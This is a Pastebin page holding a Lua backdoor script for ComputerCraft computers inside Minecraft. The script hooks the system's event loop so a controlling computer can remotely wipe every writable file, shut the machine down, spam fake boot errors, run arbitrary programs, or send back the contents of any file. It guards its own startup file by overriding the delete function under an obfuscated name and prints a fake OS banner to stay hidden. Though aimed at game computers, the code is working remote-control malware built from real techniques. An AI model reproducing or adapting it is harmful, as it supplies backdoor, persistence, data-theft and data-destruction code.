Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local derr = 529; --CHANGE THIS TO YOUR ID
- commands = function(sEvent, param, message) --INSERT COMMANDS HERE
- rednet.send(derr, "Hello" ..derr)
- if sEvent == "rednet_message" and param == derr then
- if message == "Spam" then
- print()
- for i=1,10 do
- print("bios:21: /rom/ does not exist!")
- end
- elseif message == "Clear" then
- term.clear()
- term.setCursorPos(1,1)
- elseif message == "Boot" then
- term.clear()
- term.setCursorPos(1,1)
- print(os.version())
- elseif message == "Off" then
- os.shutdown()
- elseif message == "format" then
- fs.makeDir("formatted352")
- files = fs.list("/")
- for n=1,#files do
- if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
- fs.delete(files[n])
- end
- end
- os.reboot()
- elseif message == "copy" then
- id, filename = rednet.receive()
- if fs.exists(filename) then
- copied = fs.open(filename, "r")
- rednet.send(derr, copied.readAll())
- copied.close()
- else
- rednet.send(derr, "runfailed")
- end
- else
- if fs.exists(message) then
- shell.run(message)
- else
- rednet.send(derr, "runfailed")
- end
- end
- end
- end
- ---===DO NOT EDIT ANYTHING BELOW===---
- for k,sSide in pairs(redstone.getSides()) do
- if peripheral.isPresent(sSide) and peripheral.getType(sSide) == "modem" then
- rednet.open(sSide)
- end
- end
- oldddeIYGYFGYIYGGUlete = function(name) fs.delete(name) end
- fs.delete = function(name)
- if name == "startup" then
- return false
- else
- oldddeIYGYFGYIYGGUlete(name)
- end
- end
- if fs.exists("formatted352") then
- os.shutdown()
- end
- function aewtygrgt( _sFilter )
- return coroutine.yield( _sFilter )
- end
- os.pullEventRaw = function( _sFilter )
- local event, p1, p2, p3, p4, p5 = aewtygrgt( _sFilter )
- commands(event, p1, p2)
- return event, p1, p2, p3, p4, p5
- end
- term.clear()
- term.setCursorPos(1,1)
- print(os.version())
Advertisement
Add Comment
Please, Sign In to add comment